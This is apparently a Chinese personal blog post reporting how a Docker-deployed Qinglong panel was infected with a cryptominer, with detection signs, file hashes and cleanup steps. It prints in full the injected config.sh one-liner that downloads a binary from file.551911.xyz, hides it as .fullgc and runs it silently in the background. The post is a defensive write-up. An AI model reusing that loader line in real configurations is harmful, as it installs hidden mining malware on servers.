服务器沦为矿机:青龙面板遭恶意植入挖矿程序实录

前言

好久不见各位,转眼间我们已经来到2026年,去年的年度总结还在撰写中,敬请期待

言归正传,今天写这篇博文,是要分析我遇到的青龙面板被恶意植入挖矿程序一事,同时提请各位注意
如果你在服务器上部署了青龙面板项目,请速查是否存在下列情况

  • 近期服务器资源(CPU、内存)被大量占用,多发卡顿、过载死机等
  • 使用Docker-Compose部署,目录下存在 ./data/db/.fullgc 文件
  • 目录下配置文件 ./data/config/config.sh 被恶意修改
  • 云服务提供商发出警报,提示有恶意挖矿程序

如果不幸中招,请转到解决方法查阅相关内容

发现问题

2月7日(周六)凌晨,我首次收到阿里云的告警短信,提示有挖矿程序

【阿里云】尊敬的阿里云用户***:云盾云安全中心检测到您的服务器出现了紧急安全事件:挖矿程序,建议您立即登录云安全中心控制台-安全告警处理。

第一次碰见这种情况,登录控制台看了下,以为是某个服务造成的误报,没太当回事,就忽略了
随后几天服务器出现了2次过载无响应的情况,我强制重启后得以解决

但是,阿里云的告警短信每天都发来,内容都一样,指向了青龙数据文件夹中名为 .fullgc 的文件
昨天(2月9日)第三次接到阿里云的短信时候,我觉得不可能是误报,便打开控制台分析,如下图所示
阿里云控制台

同时登录宝塔,发现CPU占用超95%,内存占用超75%,已经出现过载。
宝塔

我让DeepSeek写了脚本获取可疑进程的相关信息并输出log,丢回ds让它分析
实际上就只分析出了进程占用大量资源与Docker部署的青龙面板有关这两个特点
基本锁定与青龙有关后,我就访问项目的Github想看看有无版本更新,然后翻到了Issues,看到有条目和我遇到的问题一样

分析问题

恶意代码

Termius

1
d="${QL_DIR:-/ql}/data/db";b="$d/.fullgc";case "$(uname -s)-$(uname -m)" in Linux-x86_64|Linux-amd64)u="https://file.551911.xyz/fullgc/fullgc-linux-x86_64";;Linux-aarch64|Linux-arm64)u="https://file.551911.xyz/fullgc/fullgc-linux-aarch64";;Darwin-x86_64)u="https://file.551911.xyz/fullgc/fullgc-macos-x86_64";;Darwin-arm64)u="https://file.551911.xyz/fullgc/fullgc-macos-arm64";;esac;[ -n "$u" ]&&[ ! -f "$b" ]&&{ curl -fsSL -o "$b" "$u"||wget -qO "$b" "$u"; }&&chmod +x "$b";[ -f "$b" ]&&! ps -ef|grep -v grep|grep -qF ".fullgc"&&nohup "$b"  >/dev/null 2>&1 &

根据此Issue中反馈的内容,在配置文件./data/config/config.sh里发现了一行突兀至级的恶意代码如上
可以看到,有了这行代码,服务器会从未知域名 file.551911.xyz 下载恶意程序,保存文件在/ql/data/db/.fullgc
并且保持自动执行(如果没有运行就后台启动)和隐藏输出日志(重定向到 /dev/null 不显示任何信息)

对于指向的.fullgc文件,不出意料也是大有来头
前文附图中阿里云检出了Miner:Linux/CoinMiner样本家族,其会使用TCP协议与donate.v2.xmrig.com通信,确认为恶意挖矿程序
Issue中有老哥把这个文件丢去threatbook分析,报告链接我转载一下(来自七

下附 .fullgc 文件的哈希值供自查,如有发现需立即处理

有关哈希值

SHA256: a939048e4374176a6259a19da544423cdc838e532a978fbb2508fefea8e5c88a
MD5: 510cf874be4c232871511646e0dbd604
SHA1: 1187ad056d16796ba8bc11accca23cef2efdc3ae

解决方法

请注意:目前提供的是临时解决方案,需等待@whyour更新青龙后方可根除问题

以下代码由AI总结,我仅作部分修改,可参考思路,请勿直接复制并执行
注意[PID]代表实际进程ID、[root]代表青龙面板的docker-compose.yml存放目录,请自行替换

  1. 初步排查

    1
    2
    3
    4
    5
    6
    7
    8
    # 查看系统资源占用
    top -bn1 | head -20

    # 查找异常进程
    ps aux | grep -i fullgc

    # 查看进程树关系
    pstree -sp [PID]
  2. 立即停止恶意进程

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    # 停止进程(先尝试优雅停止)
    sudo kill -TERM [PID]

    # 如果进程还在,强制停止
    sudo kill -KILL [PID]

    # 如使用Docker-Compose部署青龙面板,可先删除容器
    cd [root]
    docker-compose down

    # 确认进程已停止
    ps aux | grep -i fullgc | grep -v grep
  3. 删除恶意文件

    1
    2
    3
    4
    5
    6
    # 删除核心恶意文件
    sudo rm -f [root]/data/db/.fullgc

    # 清理可能存在的其他变种(可选)
    sudo find / -name ".fullgc*" -type f 2>/dev/null | xargs rm -f
    sudo find /tmp /var/tmp -name "*fullgc*" -type f 2>/dev/null | xargs rm -f
  4. 清除配置文件恶意代码

    1
    2
    3
    4
    5
    # 转到项目运行目录
    cd [root]

    # 使用编辑器打开config.sh
    vi ./data/config/config.sh

    亦可使用其他编辑器,删除上文所提到的恶意代码一行即可

  5. 修改配置文件权限、屏蔽恶意域名

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    # 配置文件设为只读,防止被修改
    sudo chmod 444 [root]/data/config/config.sh

    # 修改 /etc/hosts 文件,阻止访问恶意域名
    sudo tee -a /etc/hosts << EOF
    # 屏蔽挖矿域名
    127.0.0.1 file.551911.xyz
    127.0.0.1 551911.xyz
    EOF

    # 使用 iptables 屏蔽挖矿域名
    sudo iptables -A OUTPUT -d file.551911.xyz -j DROP
  6. 检查面板公网访问、修改密码
    目前尚不明确攻击者通过何种方式植入木马,根据已知案例,青龙面板管理网页都暴露在公网可供访问
    建议暂时关闭管理面板公网访问,以杜绝潜在的风险

同时建议修改面板密码、SSH密码等以确保安全

总结

至此这件事基本告一段落了,再次提醒各位注意服务器可疑程序的行为
如果云服务提供商发出告警,切勿忽视,以免造成更大的损失
建议使用青龙面板的朋友及时更新到最新版以确保安全,同时注意定期更换密码

年关将至,祝各位新春快乐!(年度总结真的在路上了)